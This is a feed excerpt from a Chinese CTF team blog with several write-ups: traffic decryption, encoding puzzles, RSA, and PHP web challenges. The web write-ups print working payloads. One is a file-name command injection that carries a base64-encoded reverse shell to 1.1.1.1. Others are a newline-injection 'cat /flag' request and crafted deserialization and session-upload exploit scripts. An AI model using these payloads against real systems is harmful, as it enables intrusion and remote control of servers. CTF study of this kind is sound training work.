&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-21-1024x823.png">&lt;/p>
&lt;p>解密流量有两种方法，一种是通过阅读代码来自己实现解密，另一种是通过重放流量来获取明文。&lt;/p>
&lt;p>关于协议的部分实现，可以参考 &lt;a href="https://github.com/v2fly/v2ray-core/releases/download/v4.24.1/extra-VMessAEADdoc.zip">extra-VMessAEADdoc.zip&lt;/a> 但是协议的最终实现还是需要参考 v2ray-core 的源码，因为有些地方的实现和文档中的描述不一致。&lt;/p>
&lt;p>这里我们可以使用一个专门用来解析AEAD认证的&lt;a href="https://github.com/mnixry/vmess-aead-python">库&lt;/a>，并使用其编写一段exp&lt;/p>
&lt;pre tabindex="0">&lt;code>import uuid
from vmess_aead.encoding import VMessBodyEncoder
from vmess_aead.headers.request import VMessAEADRequestPacketHeader
from vmess_aead.utils.reader import BytesReader
data = &amp;#34;a49502ee07ffdd20f11597e961f7768b41be7bc32030107fc81f235f72ff1b294d074ade94281242412b4c19123b15250ac3d5ad9524df9acd0ee5f6dcca7b0c2849b2f4df20190dd084c01c3f6e2834dd87cb8e97fa178b2ec454755f89d9b735ae6dab9c7989cf4154f7eae53774d9d6cdb55d0a76fdaf21e08bae26e49cbb3c56d11a3fe540454bfbae06305460301caca4109df3335b0c3646b6e2d856a927f9298b87da3a7cf3cffcca6c27259fc055faa9f3155cc95f698bb37436008783b6cd03d38a8e109f78a48c860b600fcbe825cd6c6a5be2c95fce121df574c70fe62e4f24e28de5983db6c3c0192d72ec785b6d58c4b8301c4f70eab683&amp;#34;
data = bytes.fromhex(data)
reader = BytesReader(data)
user_id = uuid.UUID(&amp;#34;f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7&amp;#34;)
header = VMessAEADRequestPacketHeader.from_packet(reader, user_id)
print(header)
encoder = VMessBodyEncoder(
header.payload.body_key,
header.payload.body_iv,
header.payload.options,
header.payload.security,
header.payload.command,
)
body = encoder.decode_once(reader)
print(body)
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-22-1024x200.png">&lt;/p></description></item><item><title>2024第二次线上赛WP</title><link>https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/</link><pubDate>Sat, 30 Mar 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/</guid><description>&lt;h2 id="misc">MISC&lt;/h2>
&lt;h3 id="gif">GIF&lt;/h3>
&lt;p>简单的二维码，可以使用WPS把每帧分离保存，按顺序拼接，最后扫码获取flag&lt;/p>
&lt;h3 id="重生之我在嘉庚当黑客">重生之我在嘉庚当黑客&lt;/h3>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-68-1024x626.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-69.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-70.png">&lt;/p>
&lt;p>flag格式改成xujc即可&lt;/p>
&lt;h3 id="洋葱二维码">洋葱二维码&lt;/h3>
&lt;p>code128、QR code、Maxicode、Aztec code、PDF417、汉信码之类的交替着试，二维码套娃。总之，用中国编码和&lt;a href="https://demo.dynamsoft.com/barcode-reader/">https://demo.dynamsoft.com/barcode-reader/&lt;/a>轮着试就行&lt;/p>
&lt;h3 id="ssl">SSL&lt;/h3>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-71.png">&lt;/p>
&lt;p>&lt;code>HTTPS&lt;/code>流量，给了&lt;code>sslkey.log&lt;/code>&lt;/p>
&lt;p>首先使用&lt;code>sslkey&lt;/code>解密包内容，&lt;code>编辑&amp;gt;首选项&amp;gt;Protocols&amp;gt;TLS&lt;/code>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-72.png">&lt;/p>
&lt;p>过滤出&lt;code>GET&lt;/code>请求的包&lt;/p>
&lt;pre tabindex="0">&lt;code>http.request.method==GET
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-73-1024x409.png">&lt;/p>
&lt;p>这些包的&lt;code>URL&lt;/code>中有个参数名是：&lt;code>kcahsni&lt;/code>&lt;/p>
&lt;p>取出这些包的&lt;code>kcahsni&lt;/code>的值，数量不多，可以手工取出来，也可使用&lt;code>Tshark&lt;/code>取出来&lt;/p>
&lt;pre tabindex="0">&lt;code>tshark -r capture.pcap -o &amp;#39;ssl.keylog_file:sslkey.log&amp;#39; -Y &amp;#39;http contains &amp;#34;GET /searchbyimage&amp;#34;&amp;#39; -T fields -e http.request.uri.query.parameter &amp;gt; outdata.txt
&lt;/code>&lt;/pre>&lt;pre tabindex="0">&lt;code>image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D82290383-7480-487c-b78b-77ac769c56cd%26kcahsni%3D9ef773fe97f56554a3b4,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De76528cd-17d3-490a-be20-2d817ccee04e%26kcahsni%3D1eaf89725ab93968fc52,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D491c01dd-f1a3-43c3-b3c8-30c4ab73ff4b%26kcahsni%3Df03c0a7d653539616433,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Deeed4c5d-8a5f-4b8c-a12d-a2ef007e09e2%26kcahsni%3D66333861303164636130,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Db69d43cd-ac86-4b20-acc6-6a441d94ae3e%26kcahsni%3D30663937353965366432,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3De56bc952-42c2-4631-96ee-e2e7cac51406%26kcahsni%3D30353331373634326335,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dece42ab1-a9d1-44df-a0b5-6b7e83aa9cd0%26kcahsni%3D34323166636461643033,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D71ad1cf6-a31a-4694-812b-9ea5db6e3cad%26kcahsni%3D34656265373037376332,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D1b3c7025-b1a8-477f-9d16-89c254af258a%26kcahsni%3D62646464343732627b41,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D64ac599c-e5ac-43bc-a2e0-0447257cd5bc%26kcahsni%3D534e490b3295c3d06c24,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3Dd8af7f01-5b92-4ad3-8c80-c6af467eac30%26kcahsni%3Df2a8c7e8936667dbf7fe,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D01b77323-6be9-4abd-b427-9f09d992a4df%26kcahsni%3Dce28456a0fd24ac21ec6,encoded_image=,image_content=,filename=,hl=fr
image_url=http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D3f3e4f2f-5d92-4d3a-8ce8-f11943b42df3%26kcahsni%3Da12e3efe4b,encoded_image=,image_content=,filename=,hl=fr
&lt;/code>&lt;/pre>&lt;p>使用Python处理一下，最后结果需要逆序一下&lt;/p>
&lt;pre tabindex="0">&lt;code>#Written by: mochu7
import binascii
from urllib.parse import unquote
flag=b&amp;#39;&amp;#39;
with open(&amp;#39;./outdata.txt&amp;#39;) as f:
for line in f.readlines():
line = unquote(line)
hexdata = line[line.find(&amp;#39;kcahsni=&amp;#39;)+8:line.find(&amp;#39;,&amp;#39;)]
hexstring = binascii.unhexlify(hexdata)
flag += hexstring
print(flag[::-1])
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-30-2024%E7%AC%AC%E4%BA%8C%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-74-1024x284.png">&lt;/p></description></item><item><title>2024第一次线上赛WP</title><link>https://redshome.top/posts/2024-03-24-2024%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B/</link><pubDate>Sun, 24 Mar 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-03-24-2024%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B/</guid><description>&lt;h2 id="misc">MISC&lt;/h2>
&lt;h3 id="办公室爱情">&lt;strong>办公室爱情（🙂）&lt;/strong>&lt;/h3>
&lt;p>&lt;a href="https://blog.csdn.net/m0_62107966/article/details/126678391">办公室爱情wp&lt;/a>&lt;/p>
&lt;h3 id="你这flag保熟吗">你这flag保熟吗（😐）&lt;/h3>
&lt;p>&lt;a href="https://blog.csdn.net/Mutsa/article/details/136217283">你这flag保熟吗wp&lt;/a>&lt;/p>
&lt;h3 id="小明的电脑">小明的电脑（😧）&lt;/h3>
&lt;p>&lt;a href="https://blog.csdn.net/pop_cheng/article/details/127970526">小明的电脑wp&lt;/a>&lt;/p>
&lt;h3 id="套娃生成器">套娃生成器（🤯）&lt;/h3>
&lt;p>根据提示，在github上找到该项目&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-03-24-2024%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9B/images/image-27.png">&lt;/p>
&lt;p>总共实现了以下几种娃：&lt;/p>
&lt;pre tabindex="0">&lt;code>dolls_registry = (
(Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码，随机选择一种
(RGBAImageBytesDoll,), # 字节编码成 RGBA 图片
(BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转
(WeakZipDoll,), # 弱密码ZIP
(QRCodeDoll,), # 字符串编码成二维码
(MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB
)
&lt;/code>&lt;/pre>&lt;p>生成逻辑是上面每行的娃随机选择一个，然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度，就将这个娃和上一个娃交换位置，然后重新生成。（具体逻辑见 encode.py）&lt;/p>
&lt;p>其中，QRCodeDoll 会生成一个二维码图片，由于二维码我没有找到可靠的办法来承载二进制，所以它实际上存储的是 Base64 编码的二进制数据。&lt;/p>
&lt;p>另外，对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll，由于存储的数据长度可能不足容量，所以存储的前四字节为大端序的数据长度。&lt;/p>
&lt;p>此外，WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码（有考虑过六位数字，但是不能稳定破解，可能需要写 C binding，感觉有点麻烦就放弃了）。&lt;/p>
&lt;p>解题脚本见 solve.py，其中具体实现的逻辑是对于输入的特征选择尝试解码的娃，如果解码成功但是结果不清晰就递归解码，直到解码成功且结果清晰（或者持续解码但是直到低于最小可能长度仍然无法解码就失败）；如果解码失败就尝试下一个娃。&lt;/p>
&lt;p>solve.py：&lt;/p>
&lt;pre tabindex="0">&lt;code>import re
import sys
from base64 import decodebytes
import pwn as p
from matryoshka.dolls.base import DollError, DollsBase
from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll
from matryoshka.dolls.qrcode_encode import QRCodeDoll
from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll
from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll
from matryoshka.dolls.significant_byte import (
LeastSignificantByteDoll,
MostSignificantByteDoll,
)
from matryoshka.dolls.weak_zip import WeakZipDoll
def decode(
data: bytes,
round: int = 1,
result_regex=rb&amp;#34;flag{.*?}&amp;#34;,
accepted_dolls: tuple[type[DollsBase], ...] = (),
length_threshold: int = 10,
):
def prefixed_print(*args):
p.log.info(&amp;#34; &amp;#34;.join([&amp;#34;--&amp;#34; * round + &amp;#34;&amp;gt;&amp;#34;, *map(str, args)]))
prefixed_print(&amp;#34;entering round&amp;#34;, round)
attempts: list[type[DollsBase]] = []
if data.startswith(b&amp;#34;PK&amp;#34;): # PK is the magic number for ZIP files
attempts.append(WeakZipDoll)
if data.startswith(b&amp;#34;\x89PNG&amp;#34;): # PNG magic number
attempts.append(RGBAImageBytesDoll)
attempts.append(LeastSignificantByteDoll)
attempts.append(MostSignificantByteDoll)
if data.isascii(): # ASCII
charset = {bytes([c]) for c in data}
if charset == {b&amp;#34;0&amp;#34;, b&amp;#34;1&amp;#34;}:
attempts.append(QRCodeDoll)
else:
attempts.append(Base16Doll)
attempts.append(Base32Doll)
attempts.append(Base64Doll)
attempts.append(Base85Doll)
attempts.append(BitReverseDoll)
attempts.append(ByteReverseDoll)
attempts = [attempt for attempt in attempts if attempt not in accepted_dolls]
for attempt in attempts:
prefixed_print(f&amp;#34;trying {attempt.__name__}&amp;#34;)
try:
result = attempt().decode(data)
except DollError as e:
prefixed_print(f&amp;#34;failed {attempt.__name__}: {e}&amp;#34;)
continue
if len(result) &amp;lt; length_threshold:
prefixed_print(f&amp;#34;failed {attempt.__name__}: length not accepted&amp;#34;)
continue
if re.search(result_regex, result, re.DOTALL):
prefixed_print(f&amp;#34;success {attempt.__name__}: {result}&amp;#34;)
return result
prefixed_print(&amp;#34;result not clear, recursive decode begin&amp;#34;)
result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt))
if result:
return result
prefixed_print(&amp;#34;round failed&amp;#34;)
return None
if len(sys.argv) != 3:
print(f&amp;#34;Usage: {sys.argv[0]} &amp;lt;host&amp;gt; &amp;lt;port&amp;gt;&amp;#34;)
sys.exit(1)
_, host, port = sys.argv
s = p.remote(host, port)
s.recvuntil(b&amp;#34;name&amp;#34;)
s.sendline(b&amp;#34;mix&amp;#34;)
while True:
data = s.recvuntil(b&amp;#34;-----END MATRYOSHKA MESSAGE-----&amp;#34;)
round_data = re.search(rb&amp;#34;Round (\d+)/(\d+)&amp;#34;, data)
assert round_data
round = int(round_data.group(1))
total_rounds = int(round_data.group(2))
p.log.info(f&amp;#34;Round {round}/{total_rounds}&amp;#34;)
data_chunk = re.search(
b&amp;#34;-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----&amp;#34;,
data,
re.DOTALL,
)
assert data_chunk
data = decode(decodebytes(data_chunk.group(1)))
assert data
s.sendline(data)
if round == total_rounds:
break
s.interactive()
&lt;/code>&lt;/pre>&lt;h2 id="crypto">CRYPTO&lt;/h2>
&lt;h3 id="baby_rsa">&lt;strong>baby_rsa（🙂）&lt;/strong>&lt;/h3>
&lt;pre tabindex="0">&lt;code>from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
​
primes = []
​
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() &amp;gt; 2048: break
if is_prime(prime):
primes.append(prime)
​
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
​
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b&amp;#34;flag{&amp;#34; in dec:
print(dec)
except ValueError:
pass
&lt;/code>&lt;/pre>&lt;p>已知((fac[0]+fac[1]+fac[2]) &amp;laquo; 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) &amp;laquo; 1) - 1求其欧拉函数，进而求解出d和第二段。&lt;/p></description></item><item><title>2024新年红包题</title><link>https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/</link><pubDate>Sun, 11 Feb 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/</guid><description>&lt;p>将饺替换成0，子替换成1，二进制转换字符串得到&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/images/image-83-1024x236.png">&lt;/p>
&lt;p>下载附件，审计源码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/images/image-75-1024x882.png">&lt;/p>
&lt;p>题目开了imagick扩展&lt;/p>
&lt;p>再审计源代码，一共有三个功能点：&lt;/p>
&lt;ul>
&lt;li>
&lt;p>反序列化&lt;/p>
&lt;/li>
&lt;li>
&lt;p>删除/tmp目录下的所有内容（这算是题目的提示了）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>高亮当前文件&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/images/image-76.png">&lt;/p>
&lt;p>再看题目给的后门类：&lt;/p>
&lt;ul>
&lt;li>
&lt;p>其实这里sink点有两个，一个是readfile读取文件，另一个是&lt;code>new $a($b)&lt;/code>格式的代码&lt;/p>
&lt;/li>
&lt;li>
&lt;p>对于&lt;code>new $a($b)&lt;/code>格式的代码，如果题目出网并且web目录可写的话，是可以直接RCE的，但是本题既不出网，web目录又不可写&lt;/p>
&lt;/li>
&lt;li>
&lt;p>因此题目的sink点就在readfile了，那么如何触发&lt;code>__sleep()&lt;/code>魔术方法呢，&lt;code>__sleep&lt;/code>魔术方法会在序列化的时候被调用&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-11-2024%E6%96%B0%E5%B9%B4%E7%BA%A2%E5%8C%85%E9%A2%98/images/image-77-1024x864.png">&lt;/p>
&lt;p>所以整个攻击流程如下：&lt;/p>
&lt;p>首先把/tmp目录清空：&lt;/p>
&lt;pre tabindex="0">&lt;code>GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338
&lt;/code>&lt;/pre>&lt;p>再制作一个PPM图片，选择PPM的原因是PPM末尾允许添加一些脏数据，并且该脏数据也不会被imagick抹去&lt;/p>
&lt;p>session的内容生成方式如下：&lt;/p>
&lt;ul>
&lt;li>
&lt;p>这里我们设置path属性为/tmp/res路径，这个路径就是/flag复制之后的路径&lt;/p>
&lt;/li>
&lt;li>
&lt;p>重点看16行，这里的脏数据的数量其实是有一定要求的，在第12行设置了PPM图片的长和宽，即&lt;code>9*9&lt;/code>像素，这里的&lt;code>脏数据+序列化数据&lt;/code>的数量需要大于等于&lt;code>3*9*9&lt;/code>且小于等于&lt;code>4*9*9&lt;/code>（这里3和4可以简单理解为每个像素所占用的字节），具体原理不深究了，这里就当做记个结论（如果有其他想法，可以随时私信讨论）&lt;/p>
&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>&amp;lt;?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a-&amp;gt;path = &amp;#34;/tmp/res&amp;#34;; // 复制后的flag路径
$ppmhead = &amp;#34;P6
9 9
255
&amp;#34; ;
$sdata = &amp;#34;|&amp;#34; . serialize($a);
$ppm = $ppmhead . str_repeat(&amp;#34;\x00&amp;#34;, 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=
&lt;/code>&lt;/pre>&lt;p>有关PPM格式示例文件规范如下（From ChatGPT）：&lt;/p></description></item><item><title>2024寒假训练赛4——Writeup</title><link>https://redshome.top/posts/2024-02-02-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B4-writeup/</link><pubDate>Fri, 02 Feb 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-02-02-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B4-writeup/</guid><description>&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="web签到">web签到&lt;/h2>
&lt;p>直接上payload&lt;/p>
&lt;pre tabindex="0">&lt;code>/?c=cat /flag%0a
&lt;/code>&lt;/pre>&lt;p>虽然过滤掉了很多东西，但&lt;code>%0a&lt;/code>是换行，可以将过滤的指令换到下一行，就不会影响上一行执行&lt;/p>
&lt;h2 id="prprppy">prprp&amp;hellip;py？&lt;/h2>
&lt;p>打开题目显示没有session&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-02-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B4-writeup/images/image-55.png">&lt;/p>
&lt;p>可以利用SESSION_UPLOAD_PROGRESS创建一个session：&lt;/p>
&lt;ul>
&lt;li>下方的proxies为BurpSuite的代理地址&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>import requests
url = &amp;#34;http://1.1.1.1:49343/&amp;#34;
data = {
&amp;#34;PHP_SESSION_UPLOAD_PROGRESS&amp;#34;:&amp;#34;a&amp;#34;
}
file = {
&amp;#34;file&amp;#34;: (&amp;#34;a&amp;#34;,&amp;#34;a&amp;#34;)
}
cookies = {
&amp;#34;PHPSESSID&amp;#34;: &amp;#34;a&amp;#34;
}
proxies = {
&amp;#34;http&amp;#34;: &amp;#34;127.0.0.1:8080&amp;#34;
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)
&lt;/code>&lt;/pre>&lt;p>发包过去就能拿到源码了&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-02-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B4-writeup/images/image-56-1024x455.png">&lt;/p>
&lt;p>获取到的源码如下，这里稍作分析：&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;code>$_POST['data']&lt;/code>可控，并且会对其反序列化后覆盖变量，所以我们可以任意构造后续的变量，注意在传参的时候需要序列化数据&lt;/p>
&lt;/li>
&lt;li>
&lt;p>核心看三个if分支，第一个if分支会对properties变量反序列化，并且调用sctf方法，由于代码里不存在类有sctf方法，因此第一反应应该是构造SoapClient原生类打SSRF&lt;/p>
&lt;/li>
&lt;li>
&lt;p>第二个else if分支的用途就比较明显了，可以利用原生类读取任意文件&lt;/p>
&lt;/li>
&lt;li>
&lt;p>第三个else语句会去请求内部5000端口的服务并返回结果，一般5000端口是Flask服务，不过这里file_get_contents只能发送GET请求，如果要打Flask的/console的Debug服务需要带Cookie&lt;/p>
&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>&amp;lt;?php
error_reporting(0);
if(!isset($_SESSION)){
die(&amp;#39;Session not started&amp;#39;);
}
highlight_file(__FILE__);
$type = $_SESSION[&amp;#39;type&amp;#39;];
$properties = $_SESSION[&amp;#39;properties&amp;#39;];
echo urlencode($_POST[&amp;#39;data&amp;#39;]);
extract(unserialize($_POST[&amp;#39;data&amp;#39;]));
if(is_string($properties)&amp;amp;&amp;amp;unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -&amp;gt; sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents(&amp;#39;http://127.0.0.1:5000/&amp;#39;.$properties);
}
echo &amp;#34;this is the object: $object &amp;lt;br&amp;gt;&amp;#34;;
?&amp;gt;
&lt;/code>&lt;/pre>&lt;p>这里的解题思路如下：&lt;/p></description></item><item><title>2024长城杯校内选拔赛——Writeup</title><link>https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/</link><pubDate>Thu, 01 Feb 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/</guid><description>&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="在线解压2023国赛-华北赛区">在线解压(2023国赛 华北赛区)&lt;/h2>
&lt;p>下载源码，审计POST路由，其中savepath可控且无过滤，直接闭合命令执行即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-1-1024x873.png">&lt;/p>
&lt;p>命令注入点在上传的文件名，由于文件名不能包含&lt;code>/&lt;/code>等特殊字符，所以需要把反弹shell的命令base64编码一下：&lt;/p>
&lt;pre tabindex="0">&lt;code>a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#
&lt;/code>&lt;/pre>&lt;p>完整请求包如下：&lt;/p>
&lt;pre tabindex="0">&lt;code>POST / HTTP/1.1
Host: 1.1.1.1:12345
Content-Length: 277
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu
Content-Disposition: form-data; name=&amp;#34;file&amp;#34;; filename=&amp;#34;a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#&amp;#34;
Content-Type: image/jpeg
asdasd
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu--
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-2.png">&lt;/p>
&lt;p>附：上传文件请求包&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&amp;#34;utf-8&amp;#34;&amp;gt;
&amp;lt;title&amp;gt;POST传输数据包&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&amp;#34;http://1.1.1.1:12345/&amp;#34; method=&amp;#34;post&amp;#34; enctype=&amp;#34;multipart/form-data&amp;#34;&amp;gt;
&amp;lt;label for=&amp;#34;file&amp;#34;&amp;gt;文件名：&amp;lt;/label&amp;gt;
&amp;lt;input type=&amp;#34;file&amp;#34; name=&amp;#34;file&amp;#34; id=&amp;#34;file&amp;#34;&amp;gt;&amp;lt;br&amp;gt;
